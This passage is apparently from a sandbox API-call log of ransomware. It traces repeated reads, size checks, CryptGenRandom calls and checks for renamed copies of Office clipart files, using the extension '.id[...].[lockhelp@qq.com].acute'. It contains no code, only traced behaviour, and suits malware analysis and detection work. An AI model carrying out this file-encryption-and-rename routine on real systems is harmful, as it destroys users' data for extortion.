Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.990] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=712) returned 1 [0274.990] CloseHandle (hObject=0x37c) returned 1 [0274.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x20 [0274.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.990] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.990] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1932) returned 1 [0274.990] CloseHandle (hObject=0x37c) returned 1 [0274.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x20 [0274.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.990] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.005] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2952) returned 1 [0275.005] CloseHandle (hObject=0x310) returned 1 [0275.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x20 [0275.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.006] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.006] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=9992) returned 1 [0275.006] CloseHandle (hObject=0x310) returned 1 [0275.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf")) returned 0x20 [0275.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.006] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.006] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=20784) returned 1 [0275.006] CloseHandle (hObject=0x310) returned 1 [0275.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x20 [0275.006] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.006] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.007] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=24588) returned 1 [0275.007] CloseHandle (hObject=0x310) returned 1 [0275.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x20 [0275.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.007] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.007] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2226) returned 1 [0275.007] CloseHandle (hObject=0x310) returned 1 [0275.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x20 [0275.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.007] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.007] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.007] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=14820) returned 1 [0275.008] CloseHandle (hObject=0x310) returned 1 [0275.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x20 [0275.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.008] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.008] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3692) returned 1 [0275.008] CloseHandle (hObject=0x310) returned 1 [0275.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x20 [0275.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.008] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.009] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3632) returned 1 [0275.009] CloseHandle (hObject=0x310) returned 1 [0275.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x20 [0275.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.009] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.010] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3616) returned 1 [0275.010] CloseHandle (hObject=0x310) returned 1 [0275.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x20 [0275.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.010] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.011] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2140) returned 1 [0275.011] CloseHandle (hObject=0x310) returned 1 [0275.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x20 [0275.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.011] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.011] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2780) returned 1 [0275.011] CloseHandle (hObject=0x310) returned 1 [0275.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x20 [0275.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.011] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.011] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.011] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2796) returned 1 [0275.011] CloseHandle (hObject=0x310) returned 1 [0275.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x20 [0275.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.012] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.012] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2960) returned 1 [0275.012] CloseHandle (hObject=0x310) returned 1 [0275.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x20 [0275.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.012] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.012] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2960) returned 1 [0275.012] CloseHandle (hObject=0x310) returned 1 [0275.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x20 [0275.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.012] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.012] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0275.014] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3588) returned 1 [0275.014] CloseHandle (hObject=0x310) returned 1 [0275.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x20 [0275.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 